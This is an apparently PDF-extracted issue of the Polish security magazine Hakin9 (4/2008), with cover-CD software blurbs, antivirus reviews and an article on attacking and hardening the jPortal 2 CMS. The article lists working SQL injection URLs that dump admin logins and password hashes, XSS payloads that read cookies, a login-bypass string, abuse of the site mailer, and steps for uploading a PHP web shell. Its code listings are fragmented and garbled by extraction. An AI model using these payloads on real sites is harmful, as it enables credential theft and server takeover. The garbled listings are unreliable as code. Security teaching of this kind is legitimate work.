– program do analizy zmian w rejestrze
Windows.
Umożliwia on stworzenie bazy danych
ze zrzutami ekranu rejestru i porównywanie
ich ze sobą. Każdy obraz rejestru można
analizować za pomocą przeglądarki.
Program monitoruje zmienione, utworzone i
usunięte klucze oraz zmianę danych.
Mogą Państwo tworzyć pliki do
monitorowania powstania zmian w
rejestrze. Możliwy jest eksport zawartości
dowolnego klucza do pliku .reg oraz import
z takiego pliku w celu np. porównania
z bieżącym stanem rejestru. Program
przyda się zwłaszcza do wykrywania
10
NA CD
HAKIN9 4/2008
11
HAKIN9.LIVE
HAKIN9
4/2008
skutków działania wirusów i trojanów oraz
do rozwiązania problemów związanych
z niewłaściwą instalacją programów lub
sterowników.
PROACTIVE PASSWORD AUDITOR
Proactive Password Auditor – narzędzie do
testowania jakości zabezpieczenia hasłem
w systemach operacyjnych Windows NT,
Windows 2000, Windows XP i Windows
2003 Server.
Pozwala ono administratorom
systemowym wykrywać konta użytkowników
posiadających hasła o zbyt małej
odporności na ataki (zbyt słabe).
Administrator systemowy może również
próbować znaleźć hasło dowolnego
użytkownika za pomocą prostego
przeszukiwania (brute force) i ataku
słownikowego.
W celu uzyskania hash’y haseł mogą
zostać użyte następujące sposoby:
• użycie gotowych dump-plików
uzyskanych przez narzędzia pwdump,
pwdump2 i pwdump3,
• odczyt rejestru lokalnego komputera,
• odczyt pamięci lokalnego komputera,
• odczyt pamięci zdalnych maszyn
(dotyczy komputerów z Active Directory).
Odtwarzane są hasła do kont LAN
Manager i NTLM. Kod programu jest
optymalizowany pod kątem szybkości
przeszukiwania haseł.
ARCAVIR 2008 SYSTEM PROTECTION
Z MODUŁEM ADMINISTRATORA
Pakiet ArcaVir zapewnia wszechstronne
bezpieczeństwo komputera. Zawiera
wszystkie elementy niezbędne do pełnej
ochrony antywirusowej nawet największych
systemów. Są to między innymi antywirus,
firewall, antyspam, monitor rejestru, moduł
kontroli rodzicielskiej, skaner HTTP i inne.
Więcej informacji znajduje się na stronie
www.arcabit.pl. Do każdego pakietu
ArcaVir powyżej 10 licencji dołączany jest
bezpłatnie Administrator (ArcaAdmin).
Aplikacja ArcaAdmin umożliwia:
• sprawną instalację i nadzór nad
pakietem ArcaVir nawet w bardzo
dużych sieciach,
• zarządzanie konfiguracją pakietu
ArcaVir z centralnej konsoli
administracyjnej, która zawiera
informacje o zdarzeniach mających
miejsce w systemie,
• monitorowanie stanu pracy ArcaVir
na wszystkich komputerach
podłączonych do sieci,
• efektywne mechanizmy wymiany
danych pomiędzy serwerem
zarządzania a zarządzanymi
stacjami.
Program dołączony do niniejszego wydania
zawiera zaszyty numer licencji na 20
stanowisk i 1 serwer z modułem ArcaAdmin.
Licencja jest ważna na okres 90 dni.
Wymagania techniczne:
Stacja kliencka:
• Windows 2000 (z SP4) / 2003 (z SP1) /
XP (z SP2 + uaktualnienia) / VISTA
• Pamięć RAM wymagana dla programu
– 64 MB
Serwer ArcaAdmin:
• Windows 2000 (z SP4) / 2003 (z SP1) /
XP (z SP2 + uaktualnienia)
• Pamięć RAM wymagana dla programu
– 128 MB
• Internet Information Services (IIS,
komponent systemu Windows)
• .NET Framework 2.0
• Baza SQL – np. MSDE do pobrania z
http://www.arcabit.pl/DWT/Programy/
msde.zip
W razie jakichkolwiek dodatkowych pytań
zapraszamy do skorzystania z pomocy
technicznej firmy ArcaBit Sp. z o. o., od
poniedziałku do piątku w godzinach 8:
00 – 20:00, tel. (22) 532-69-20, e-mail:
pomoc@arcabit.pl.
PANDA ANTIVIRUS 2008
Obecny na rynku od października
zeszłego roku, Panda Antivirus 2008 to
jeden z najłatwiejszych w użytkowaniu
systemów zabezpieczeń komputera.
Prostota obsługi idzie w parze z
niezwykle rozległą funkcjonalnością
i wysokim poziomem zabezpieczeń.
Korzystanie z czatów, udostępnianie
zdjęć i filmów, czytanie blogów, a także
surfowanie po Internecie stanie się teraz
bezpieczniejsze. Dodatkowym atutem
jest także niewielkie wykorzystanie
zasobów systemowych, dzięki czemu
Panda Antivirus 2008 staje się bardzo
interesującym narzędziem dla każdego
użytkownika komputera, szukającego
profesjonalnej ochrony. Co zaoferować
może zatem najnowszy produkt firmy
Panda Security?
Na początku warto przybliżyć
moduł szczegółowego skanowania
on-line, który dostępny jest w ramach
Megadetection – najnowszego modelu
ochrony oferowanego przez Panda
Security. Megadetection to cztery
filary bezpieczeństwa, które pozwalają
zapewnić niespotykany dotąd poziom
zabezpieczeń. Filarami tymi są opisane
poniżej: ochrona rezydentna przed
wszelkimi złośliwymi kodami, moduł
odpowiedzialny za wyszukiwanie
nieznanych zagrożeń oraz całodobowe
wsparcie techniczne. Ostatnim
elementem jest właśnie możliwość
skanowania on-line. Użytkownik
posiadający program Panda może
zalogować się na specjalnej stronie
WWW i przeprowadzić zewnętrzne
skanowanie. Niezwykle istotny jest fakt,
iż skaner ten wykrywa w chwili obecnej
niemal 3 miliony zagrożeń! Dzięki
temu użytkownik chroniony jest na
niespotykanym do tej pory poziomie.
Program chroni także rezydentnie
przed wszelkimi zagrożeniami. Jeżeli
zatem nie posiadasz oprogramowania
ochronnego, a z komputera znikają
dokumenty, masz problemy z
uruchomieniem komputera, a niektóre
z plików nie nadają się do użytku
– możesz mieć pewność, że komputer
padł ofiarą wirusa i instalacja programu
Panda Antivirus 2008 jest niezbędna.
Ochroni on w pełni przed wirusami,
robakami i trojanami, które stosują
wciąż nowe techniki, aby uniknąć
wykrycia. Panda Antivirus 2008 pozwala
korzystać z Internetu, a także pobierać
oraz udostępniać pliki bez obaw o
zainfekowanie jakimikolwiek wirusami,
robakami czy trojanami. Panda bardzo
dużą uwagę poświęca programom
szpiegującym, automatycznie wykrywając
i skutecznie usuwając tego typu złośliwe
kody oraz inne irytujące aplikacje.
12
NA CD
HAKIN9 4/2008
Program usuwa także coraz groźniejsze
rootkity, które wykorzystywane są do
ukrywania zagrożeń – tak, aby te nie
zostały rozpoznane przez standardowe
aplikacje antywirusowe. Takie zagrożenia
mogą następnie bezkarnie działać w
systemie.
Dzięki Panda Antivirus 2008 możesz
całkowicie uwolnić się rootkitów, gdyż
zaawansowany system zabezpieczeń
(uznany za najlepsze tego typu narzędzie
na świecie) potrafi wykrywać zagrożenia
stosujące wszelkie zakazane techniki.
Mimo, iż program nie posiada
modułu Firewall, zapewnia ochronę przed
oszustwami on-line. Niektóre wiadomości
email mają na celu skłonienie użytkownika
do ujawnienia swoich poufnych danych
bankowych. Nadawcą wiadomości
tego rodzaju z pozoru może być bank.
Wpadnięcie w podobną pułapkę może
okazać się bardzo kosztowne, ponieważ
oszuści uzyskują pełny dostęp do naszego
konta. Panda Antivirus 2008 potrafi
zidentyfikować fałszywe wiadomości
tego rodzaju i zapobiegać kradzieżom
danych bankowych, numerów kont i innych
poufnych informacji. Panda Antivirus
2008 zabezpieczy zatem komputer przed
niebezpiecznymi oszustwami. Bezpieczne
korzystanie z bankowości internetowej i
zakupów on-line stało się faktem. Program
zabezpiecza także przed niebezpiecznymi
witrynami WWW. Pamiętać należy, że wiele
infekcji ma miejsce podczas odwiedzania
różnych stron internetowych. Panda
Antivirus 2008 rozpoznaje niebezpieczne
witryny i uniemożliwia ich odwiedzanie,
co pozwala uniknąć infekcji. Funkcja ta
jest szczególnie skuteczna w przypadku
niektórych rodzajów oprogramowania
szpiegującego oraz oszustw on-line.
Teraz możesz bezpiecznie korzystać z
Internetu, a Panda w pełni zadba o Twoje
bezpieczeństwo.
Fakt, iż każdego dnia pojawia się
ponad 2000 nowych zagrożeń, dla wielu
osób jest nadal szokujący. Dla Panda
Antivirus 2008 tak duża ilość złośliwych
kodów nie jest problemem. Program
dokonuje automatycznych aktualizacji,
które pojawiają się przynajmniej raz
dziennie. Dzięki temu każdy czuć
może się bezpiecznie przez cały
czas! Dodatkowo Panda Security jest
pionierem w świadczeniu 24-godzinnej
pomocy technicznej. Przez całą dobę
laboratorium PandaLabs wraz ze
specjalistami z pomocy technicznej
udzielą szybkiej odpowiedzi, korzystając
z wiadomości email lub Internetu.
Fachowa pomoc zespołu specjalistów
jest dla każdego na wyciągnięcie ręki!
A jakie wymagania ma tak skuteczny
system antywirusowy? Niewielkie!
Program działa nawet na komputerach,
które pamiętają jeszcze poprzednie
stulecie. Dokładniejsze wymagania
systemowe znaleźć można poniżej:
• Procesor: Pentium 150 MHz lub
szybszy
• RAM: 64 MB
• Dysk twardy: 170 MB wolnego miejsca
• System operacyjny: Windows Vista 32
oraz 64 bit, Windows XP 32 oraz 64
bit, Windows 2000
• Internet Explorer 6.0
• napęd CD-ROM
PODZIĘKOWANIA
Serdeczne podziękowania dla
dystrybutora Softkey Poland Sp. z o.o.
http://www.softkey.pl/ za udostępnienie
programów Elcomsoft na płytę.
Rysunek 1.
Panda Antyvirus
Żeby uruchomić swój komputer z płyty
hakin9.live, ustaw swój BIOS na
bootowanie z napędu CD-ROM. Po
dokonanych zmianach uruchom
ponownie komputer. Uruchomi się
dytrybucja hakin.live, na której możesz
przećwiczyć techniki prezentowane w
tutorialach. Upewnij się, ze sprawdziłeś
desktopowe foldery – zawierają wiele
dodatkowych materiałów. Zawartość CD
można również przejrzeć w systemie
Windows.
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona
uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch
napędach CD.
W razie problemów z płytą, proszę napisać pod adres:
cd@software.com.pl
14
NARZĘDZIA
HAKIN9 4/2008
15
NARZĘDZIA
HAKIN9
4/2008
Produkt Norton 360 dostarcza
użytkownikowi wielomodułowe
oprogramowanie do ochrony
komputera przed szerokim wachlarzem
zagrożeń, takich jak: spyware, wirusy, rootkity, ataki
typu phishing. Produkt zawiera także moduły:
dwukierunkowego firewalla, ochrony przed
wyłudzaniem danych, uwierzytelniania witryn
internetowych, skanowania poczty elektronicznej
oraz dodatkową usługę chroniącą przed
atakami zdalnymi, wyposażoną w bogatą bazę
sygnatur ataków. Produkt oczywiście zawiera
funkcję Auto-Protect, dynamicznie sprawdzającą
wszystkie pliki, do których użytkownik zażądał
dostępu od systemu operacyjnego oraz funkcję
LiveProtect, odpowiadającą za automatyczne
pobieranie nowych sygnatur – zarówno wirusów,
jak i pozostałych rodzajów zagrożeń. Cały
proces aktualizacji odbywa się automatycznie,
bez ingerencji użytkownika. Naturalnie ta, jak i
pozostałe funkcje są w pełni konfigurowalne w
panelu głównym programu. Wspomniane powyżej
moduły to tylko część najważniejszych funkcji
produktu Norton 360. Nie wspomniałem o kilku
mniej istotnych elementach, takich jak: moduł
sprawdzający słabe hasła, moduł weryfikujący
stan aktualizacji systemu operacyjnego, kopii
zapasowej najbardziej newralgicznych danych,
czy wreszcie opcji bezpiecznego przechowywania
danych na serwerze firmy. Standardowo
użytkownik otrzymuje 2GB przestrzeni dyskowej
na serwerze, jeśli potrzebna jest większa jej ilość
– nie ma problemu z dokupieniem kolejnych GB.
Osobiście bardzo podoba mi się ta możliwość
wprowadzona do produktu Norton 360
– zewnętrzny, niezależny backup danych jest jak
najbardziej na czasie.
Część odpowiadająca za optymalizację
komputera w czasie jego działania składa się z
trzech elementów czyszczących: historię internetową,
pliki tymczasowe stron internetowych oraz pliki
tymczasowe systemu operacyjnego. Czwartym
elementem jest moduł defragmentatora dysków.
Jako, iż dysponuję profesjonalnym programem
do defragmentacji dysków, przeanalizowałem
partycję podstawową i zapisałem ilość
pofragmentowanych plików, a także ilość
fragmentów dwóch najbardziej pociętych plików.
Po zanotowaniu tych wielkości uruchomiłem
opcję Optymalizuj dyski w programie Norton
360. Po zakończeniu pracy defragmentatora
zrestartowałem komputer, licząc na połączenie
pofragmentowanego pliku pagefile.sys.
Uruchomiwszy komputer, sprawdziłem statystyki
defragmentacji partycji. Plików pofragmentowanych
pozostało 949 (wcześniej 1121), a jeśli chodzi
o najbardziej pofragmentowane pliki: pierwszy
składał się z 1050 fragmentów (wcześniej 1050),
drugi z 816 (wcześniej 816). Dodatkowo plik
pagefile.sys pozostał nietknięty. Byłem – delikatnie
mówiąc – zszokowany. Następnie w ramach testu
porównawczego użyłem profesjonalnego programu
do defragmentacji. Wyniki, jakie uzyskałem: ilość
pofragmentowanych plików – 46 (wcześniej 949)
i oba najbardziej pofragmentowane pliki zostały
ułożone na dysku tak, by były w jednej części.
Dodatkowo plik pagefile.sys dzięki opcji early boot
defrag został scalony w jeden ciągły obszar.
Idąc dalej, sprawdziłem, co oferuje użytkownikowi
moduł czyszczący. Okazało się, iż usuwanie historii
otwieranych stron dotyczy tylko jednej przeglądarki:
IE (Opera, Firefox, Netscape Navigator – zostały
nietknięte). Pliki tymczasowe systemu operacyjnego
znajdują się tylko w Windows\Temp, a tymczasowe
pliki internetowe – w katalogu Ustawienia lokalne\
Temp\Temporary Internet Files. Muszę wspomnieć,
iż w przypadku programów czyszczących katalogi
systemowe z plików tymczasowych istnieją o niebo
lepsze rozwiązania i do tego darmowe.
Dobre imię programu Norton 360 zostaje
obronione przez moduły: antywirusowy,
firewalla i detektora ataków (zawierającego
imponujące bazy sygnatur). W ramach
testu antywirusa sprawdziłem swoje lokalne
archiwum testowe zawierające około czterystu
wirusów. Uzyskane rezultaty pokrywały się
z testem przeprowadzonym przy pomocy
pewnego programu AV, o którym mówi się, iż
posiada najlepszy silnik heurystyczny na rynku
programów antywirusowych.
Producent
Symantec
System
MS Windows XP/Vista
Typ
Pakiety zabezpieczające
Strona dystrybutora
www.softpoint.com.pl
Recenzent
Patryk Branicki
Norton 360
«««««
OCENA
14
NARZĘDZIA
HAKIN9 4/2008
15
NARZĘDZIA
HAKIN9
4/2008
Duże pudełko, w środku płyta, którą
wkładam do komputera. Do tej pory
używałem różnych darmowych wersji
programów antywirusowych. Moja maszyna
to stary pecet z Celeronem 750MHz i 512MB
pamięci RAM.
Po włożeniu płyty uruchamia się miły dla
oka interfejs instalacyjny. Opcje instalacji
są przejrzyste, także dla standardowego
użytkownika. Włączenie trybu zaawansowanego
powoduje, że możemy zaingerować w ustawienia
programu i tutaj zauważyłem pewne zgrzyty.
Niektóre opcje (np. rozróżnienie na potencjalne
niechciane i potencjalnie niebezpieczne)
nie są zbyt dobrze opisane i trzeba trochę
pogłówkować, zanim zrozumiemy, co można
zmienić i jak to wpłynie na działanie programu w
przyszłości.
Po instalacji nie jest wymagane ponowne
uruchomienie komputera – przynajmniej w
systemie Windows XP, co również można uznać
za plus tego skanera.
Nadeszła chwila prawdy. Program
rozpoczyna działanie – w tle włącza się
ochrona antywirusowa, a ja ładuję domyślny
profil skanowania in-depth i uruchamiam
skanowanie dysku systemowego. Klikam na
przeglądarkę – uruchamia się bez problemu
i za chwilę mam już otwartych kilka zakładek.
Nie daję za wygraną, uruchamiam jeszcze kilka
programów. Dopiero kiedy usiłuję obejrzeć
film, zauważam pierwsze oznaki spowolnienia
systemu.
I to właśnie między innymi świadczy
o rewelacyjności programu. NOD32 jest
bardzo szybkim skanerem i, co ważniejsze,
obciążającym nasz komputer w wyjątkowo
niewielkim stopniu. Poprzednikowi
przeskanowanie dysków mojego komputera
zajmowało około 3h. Eset NOD32 skanuje
ten sam obszar w 1h 15min. Jak dla mnie
– rewelacja. Oprócz tego działanie ochrony
antywirusowej nie jest odczuwalne nawet przy
odbieraniu sporych przesyłek pocztowych
(domyślna integracja z Outlook Express i
Microsoft Outlook). Moduł antyspyware jest
zintegrowany z popularnymi przeglądarkami
internetowymi i również nie powodował
żadnego spowolnienia ich pracy, nawet
z włączoną opcją trybu aktywnego (na
marginesie – autorzy aplikacji nie tłumaczą
nigdzie, co to dokładnie jest tryb aktywny
i pasywny oraz na czym polega różnica
–zważywszy na fakt, że wspomniane
opcje dostępne są dla zaawansowanych
użytkowników, jest to dla mnie minus). NOD
wyróżnia się też spośród innych skanerów
świetnie dobranymi domyślnymi ustawieniami
programu. Widać, że są one nie tylko
domyślne, ale i przemyślane. Testowane są
na przykład wszystkie pliki, a nie tylko pliki
infekowalne.
NOD32 dostępny jest w wielu wersjach, także
dla systemów Open Source (Red Hat, SuSE,
BSD), co także składa się na pozytywną ocenę
tego oprogramowania.
Ogólna ocena bardzo dobra z lekkim
minusem. Plusy: łatwa instalacja, bardzo dobre
ustawienia domyślne, rewelacyjna szybkość
działania.
Minus: brak szczegółowych opisów podczas
instalacji w trybie zaawansowanym
– przypuszczam jednak, że dla wielu
użytkowników nie będzie to wadą, ponieważ
nie będą odczuwać potrzeby skorzystania z tej
funkcjonalności.
Producent
ESET
System
Windows 95 / 98 / ME,
Windows NT / 2000 /
XP / Vista oraz Windows
2003
Typ
Antywirus
Strona dystrybutora
www.dagma.pl
Recenzent
Daniel Zimnicki
ESET NOD32
Antivirus 3.0 Home
«««««
OCENA
16
POCZĄTKI
HAKIN9 4/2008
Z
arówno instalacja, jak i administracja
tym systemem są bardzo proste.
Być może dlatego jest on tak
rozpowszechniony. Ale również dlatego, że
bez żadnej wiedzy na temat tworzenia stron
możemy cieszyć się profesjonalnym wyglądem
naszej strony. Jednak CMS posiada wiele
błędów. Przyjrzymy się im oraz spróbujemy
zabezpieczyć naszą stronę przed atakami
hakerów.
SQL Injection
Pierwszą luką, jaką posiada nasz system jest
możliwość wstrzyknięcia zapytania do bazy
MySQL. Przeanalizujmy jedno z zapytań:
ARTUR CZYŻ
Z ARTYKUŁU
DOWIESZ SIĘ
jak ominąć zabezpieczenia
systemu jPortal 2,
jak zabezpieczyć jPortal 2.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy PHP,
znać podstawy SQL Injection
i XSS.
articles.php?topic=-100 union select 1,
concat(nick,char(58),pass),
3,4,5 from admins limit 1/*
W powyższym zapytaniu wykorzystywany jest błąd
w pliku articles.php. Zwróćmy jednak uwagę na
każdą część naszego zapytania. Rozpoczynamy
-100
lub jakimiś innymi znakami, które zwrócą
Stopień trudności
Niebezpieczny
jPortal 2
Ostatnio przeglądając strony internetowe zwróciłem szczególną
uwagę na szeroko rozpowszechniony system portalowy o nazwie
jPortal 2.
Rysunek 1.
Efekt wstrzykniętego zapytania – SQL
Injection.
Listing 1.
Przykładowe zapytania
.php
?
what=article&id=1
%20
AND
%201
=0
%20
UNION
%20
SELECT
%20
id,id,nick,pass,id,id,id,id,id
%20
from
%20
a
dmins
%20
LIMIT
%201
comment.php
?
what=news&id=1
and
1=0 union
(
select null, null, nick, null, null, null, null, null,
null, null, null, null from admins limit n,1
)
comment.php
?
what=news&id=284
and
1=0 union
(
select null, null, pass, null, null, null, null, null,
null, null, null, null from admins limit n,1
)
.php
?
what=article&id=1
AND
1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1
news.php
?
id=1
%20
AND
%200%20
=
%201%20
UNION
%20
SELECT
%20
*,
%201
,
%201
,
%201
,
%201%20
FROM
%20
admins
%20
—
.php
?
what=article&id=1
%20
AND
%201
=0
%20
UNION
%20
SELECT
%20
id,id,nick,pass,id,id,id,id,id
%20
from
%20
a
dmins
%20
LIMIT
%201
forum.php
?
cmd=search&word=Trey&where=author
%20
and
%201
=0
%20
union
%20
select
%20
null,null,nick,pass,null,
null,null,null,null,null,null,null,null,null,null
%
20from
%20
admins
%20
/*
forum.php?cmd=search&word=Trey&where=author%20and%201=0%20union%20select%20null,null,nick,pass,null,
null,null,null,null,null,null,null,null,null,null% 20from%20users%20/*
articles.php?topic?id=-2/**/
UNION
/**/
SELECT
/**/
1,concat
(
pass,
char
(
58
)
,nick
)
,3,4,5
/**/
from
/**/
admins/
*
articles.php
?
topic=-100 union select 1,concat
(
nick,
char
(
58
)
,pass
)
,3,4,5 from admins limit 1/*
17
NIEBEZPIECZNY JPORTAL 2
HAKIN9
4/2008
błąd – nic nie stoi na przeszkodzie, aby
użyć identyfikatora rozpoczynającego się
znakiem minus.
Union select 1,concat(nick,
char(58),pass),3,4,
5 from admins limit 1/*
to zapytanie do bazy, które oznacza w
dosłownym tłumaczeniu Wyciągnij z
bazy admins z drugiej kolumny (login
i hasło), pierwszego użytkownika.
Zapytanie wystarczy dokleić do strony,
np. http://www.przykładowastrona.pl/
articles.php?topic=-100 union select 1,con
cat(nick,char(58),pass),3,4,5 from admins
limit 1/*. Po wklejeniu takiego zapytania w
pasek adresu przeglądarki i wywołaniu
strony na ekranie w miejscu nazwy tematu
powinny nam się ukazać login i hasło:
Artykuły >> admin:52g76h78jh87yu6ty6u7i8u
7y6t5t6y4.
Nasze hasło będzie prawdopodobnie
zakodowane w postaci skrótu MD5
(lub przy pomocy innego algorytmu
szyfrującego, choć niekiedy może
być w postaci jawnej – zobaczymy
wtedy coś takiego: Artykuły >> admin:
mojetajnehaslo (Rysunek 1). Inne
zapytania, jakich możemy użyć, aby
uzyskać pożądany efekt, znajdują się na
Listingu 1. Zapytania możemy dowolnie
modyfikować w zależności od naszych
potrzeb, np. zamiast wyciągać z bazy
danych hasło możemy użyć poleceń typu
database()
,
now()
,
version()
,
load _
file()
. Zapytania możemy dowolnie
łączyć dzięki wykorzystaniu funkcji
concat()
, np.
articles.php?topic=-100 union select 1,
concat(nick,char(58),pass,char(58),
database()),3,4,5 from admins limit 1/*.
Funkcja
char()
wczytuje znak o
podanym kodzie z tablicy ASCII
– w naszym przypadku wartości
58
przyporządkowany jest dwukropek.
Jeżeli podane zapytanie zwróci błąd,
prawdopodobnie podaliśmy złą liczbę
kolumn lub nazwę bazy. Najczęstszymi
nazwami bazy dla przykładowej strony
http://przykladowastrona.pl będą bazy
o nazwie: jp_admins, admins, users,
jp_przykladowastrona, przykladowastrona_
admins, przykladowastrona_users. Myślę,
że zrozumieliście, o co mi chodzi, dlatego
przejdziemy teraz do błędów XSS.
XSS
Kolejnym błędem, który występuje w
naszym systemie portalowym, jest błąd
pozwalający wstrzyknąć kod wykonujący
się po stronie serwera. Przyjrzyjmy się
poniższemu zapytaniu:
http://www.przykładowastrona.pl/
news.php?page=666&news=”>
<script>alert(0);</script>
Gdybyśmy uruchomili w przeglądarce
taki kod, zostałoby wyświetlone tradycyjne
zero (0). Wiele osób uważa, że taki
atak nie jest niebezpieczny. Z pewnego
punktu widzenia jest tak w istocie,
ale jeżeli umiejętnie spreparujemy
zapytanie, możliwe jest między innymi
przechwycenie cookies administratora
strony. Poniższy kod zwróci nam nasze
cookies na stronie:
http://www.przykładowastrona.pl/
news.php?page=666&news=”><script>alert
(document.cookie);</script>
W Sieci
• http://cc-team.org,
• http://milw0rm.com,
• http://packetstorm.org,
• http://securityfocus.com,
• http://securitydot.com,
• http://www.jp.packs.prv.pl,
• http://www.haxite.org/index.php3?site=ar
tykul&nx1=artykul_view&id=792.
Rysunek 2.
PHPShell – narzędzie posiada masę opcji, które ułatwią administrację stroną
Listing 3.
Przykładowe zapytania do
ataków XSS
module.php
?
op=forum&category=
[
xss
]
module.php
?
op=forum&page=
[
xss
]
&cmd=show
&id=
[
xss
]
&catego
ry=
[
xss
]
.php
?
what=news&id=
[
xss
]
.php
?
what=article&id=
[
xss
]
module.php
?
op=sendnews&id=
[
xss
]
Listing 4.
Zabezpieczanie jPortal 2
<?
mysql_query
(
"INSERT INTO tabela
(
id,
post, get
)
VALUES
(
NULL,
'htmlspecialchars($_POST[x])'
,
'htmlspecialchars($_GET[x])'
)
;";
?>
Listing 2.
Błąd występujący w pliku
mailer.php
mailer.php
?
to=adresat
.com&sub
ject
=TestWiadomosci&from_name=Admin&
from_mail=admin
@adres
.com&body=
TestExploita&ok=wyslij&cmd=sendmail
18
POCZATKI
HAKIN9 4/2008
NIEBEZPIECZNY JPORTAL 2
19
HAKIN9
4/2008
Nie powinniśmy lekceważyć tego
błędu.
Błąd w panelu
administracyjnym
Istnieje również błąd w panelu
administracyjnym, który w pewnych
przypadkach pozwala nam na logowanie
bez znajomości hasła. Wystarczy w pole
login wpisać następujący kod:
blad' OR
id=1 OR id<>'0
. Ta metoda jednak nie
zawsze działa.
E-mail ze strony
jako administrator
Kolejny błąd występuje w pliku mailer.php
w zmiennej
$to
. Pozwala nam on na
wysłanie e-maila z konta administratora
strony na dowolny inny adres e-mail.
Przeanalizujmy poniższe zapytanie:
adresat@email.com
– w to miejsce
wklejamy e-mail na który wysyłamy;
admin@adres.com
– tutaj umieszczamy
adres admina, czyli w naszym przypadku
jest to:
admin@podatnastrona.pl
;
TestWiadomosci
– tutaj wklejamy tekst,
który ma się znaleźć w e-mailu.(Listing 2.)
Bezpośrednią przyczyną występowania
tego błędu jest fakt, że jPortal 2 nie
sprawdza, czy zmienna pochodzi z tablicy
POST czy GET.
Bezpieczeństwo
Pokażę teraz, jak możemy zabezpieczyć
jPortal 2 tak, aby uniemożliwić
lub chociaż zminimalizować
prawdopodobieństwo udanego ataku.
Listing 5.
Zmiana sposobu dostępu do logowania na panel administratora
//1. W pliku admin.php
//a) zamiast
include
(
"admin/01.adm.php"
)
;
include
(
"admin/02.adm.php"
)
;
//wpisujemy
include
(
"tajnelogowanie/01.adm.php"
)
;
include
(
"tajnelogowanie/02.adm.php"
)
;
//b) zamiast
<?
if
(
file_exists
(
'admin/'
.
$op
.
'.adm.php'
))
{
include
(
'admin/'
.
$op
.
'.adm.php'
)
;
}
elseif
(
$op
==
''
)
{
$cmd
=
'options'
;
include
(
'admin/.adm.php'
)
;
?>
//wpisujemy
<?
if
(
file_exists
(
'tajnelogowanie/'
.
$op
.
'.adm.php'
))
{
include
(
'tajnelogowanie/'
.
$op
.
'.adm.php'
)
;
}
elseif
(
$op
==
''
)
{
$cmd
=
'options'
;
include
(
'tajnelogowanie/.adm.php'
)
;
?>
//c) zamiast
if
(
$_REQUEST
[
'cmd'
]
==
'logout'
)
{
$_SESSION
[
'nick'
]
=
'********************'
;
$_SESSION
[
'pass'
]
=
'********************'
;
header
(
'Location: admin.php'
)
;
}
//wpisujemy
if
(
$_REQUEST
[
'cmd'
]
==
'logout'
)
{
$_SESSION
[
'nick'
]
=
'********************'
;
$_SESSION
[
'pass'
]
=
'********************'
;
header
(
'Location: tajnelogowanie.php'
)
;
}
//d) zamiast
admin_nawigator
()
;
//wpisujemy
tajnelogowanie_nawigator
()
;
/*e) zmieniamy nazwę pliku admin.php na tajnelogowanie.php oraz
folderu admin na tajnelogowanie.*/
//2. W pliku .adm.php
//zamiast
echo
'
<
form method=
"post"
action=
"admin.php?op='.$op.'"
><
font
size=
"2"
><
b
>
·
<
/b
>
Dodanych komentarzy:
<
b
>
'.$n.'
<
/b
><
br
>
';
//wpisujemy
echo
'
<
form method=
"post"
action=
"tajnelogowanie
.php?op='.$op.'"
><
font size=
"2"
><
b
>
·
<
/b
>
Dodanych komentarzy:
<
b
>
'.$n.'
<
/b
><
br
>
';
//3. W pliku 01.adm.php
//zamiast
header
(
"Location: admin.php"
)
;
//wpisujemy
header
(
"Location: tajnelogowanie.php"
)
;
//4. W pliku 02.adm.php
//zamiast
<?
echo
'
<
a href=
"admin.php"
class=
"t_main"
>
Opcje
administracyjne
<
/a
>
';
if(file_exists('
admin/
'.$file.'
.name
')) {
$name = file('
admin/
'.$file.'
.name
');
if(file_exists('
admin/
'.$file.'
.name
')) {
$name = file('
admin/
'.$file.'
.name
');
echo '
<
td class=
"uni_01"
>
'.$wp1.'
·
<
a
href=
"admin.php?op='.$file.'"
>
'.$name[0].'
<
/a
><
/td
>
';
function admin_nawigator(
)
{
<
b
><
a href=
"admin.php?cmd=logout"
>
wyloguj
<
/a
>
';
//wpisujemy
<?
echo
'
<
a href=
"admin.php"
class=
"t_main"
>
Opcje
administracyjne
<
/a
>
';
if(file_exists('
tajnelogowanie/
'.$file.'
.name
')) {
$name = file('
tajnelogowanie/
'.$file.'
.name
');
if(file_exists('
tajnelogowanie/
'.$file.'
.name
')) {
$name = file('
tajnelogowanie/
'.$file.'
.name
');
echo '
<
td class=
"uni_01"
>
'.$wp1.'
·
<
a
href=
"panel.php?op='.$file.'"
>
'.$name[0].'
<
/a
><
/td
>
';
function
tajnelogowanie _nawigator
()
{
<
b
><
a href=
"tajnelogowanie .php?cmd=logout"
>
wyloguj
<
/a
>
';
/*Teraz nasz panel do logowania zamiast w pliku admin.php
znajduje się w pliku tajnelogowanie.php.
Utrudni to agresorowi zniszczenie naszej
strony.*/
POCZATKI
18
POCZATKI
HAKIN9 4/2008
NIEBEZPIECZNY JPORTAL 2
19
HAKIN9
4/2008
Będziemy używać do tego głównie funkcji typu
htmlspecialchars()
,
mysql _ real _ escape _
string()
,
strip _ tags()
,
add _ slashes()
,
mysql _ escape _ string()
. Możemy bawić się
samemu w zabezpieczanie jPortal 2, modyfikując kod
– tak, jak pokazano na Listingu 4.
Zmiana nazwy pliku odpowiedzialnego za
logowanie do panelu administratora również nieco
utrudni agresorowi włamanie na naszą stronę.
Opisane to zostało na Listingu 5.
Polecam jednak inną metodę. W Internecie
udostępniane są łatki na jPortal 2, np. userpatch
v1.0s, userpatch v1.1s oraz userpatch_beta_v09.
Zawierają one szereg uaktualnień do naszego
CMSa.
Na dzień dzisiejszy nie ma jeszcze oficjalnego
exploita na UserPatch, możemy go pobrać ze
strony 6 (patrz ramka W Sieci). Zaoszczędzi to nam
sporo czasu.
Jeśli chodzi o błędy SQLInjection, XSS (a także
wiele innych) i sposoby zabezpieczenia przed nimi,
to polecam stronę 7, gdyż jest to tam – zwięźle,
lecz bardzo dobrze – opisane.
Upload PhpShella
z poziomu Menu Administracyjnego
PhpShell pozwala nam na obsługę strony tak,
jakbyśmy byli zalogowani na jej serwer FTP (Rysunek
2). Wgranie Phpshell jest bardzo proste – aby to zrobić,
należy wejść do Panelu Administratora. Następnie
przechodzimy do opcji Download i w menu Uploader
wybieramy plik, który chcemy załadować na serwer. W
naszym przypadku będzie to nazwashella.php. Jeżeli
nie modyfikowaliśmy żadnych ustawień, to shell będzie
znajdować się w katalogu uploads/download. Adres
do naszego shella będzie przykładowo wyglądać
tak: http://www.naszastrona.xx/uploads/download/
nazwashella.php.
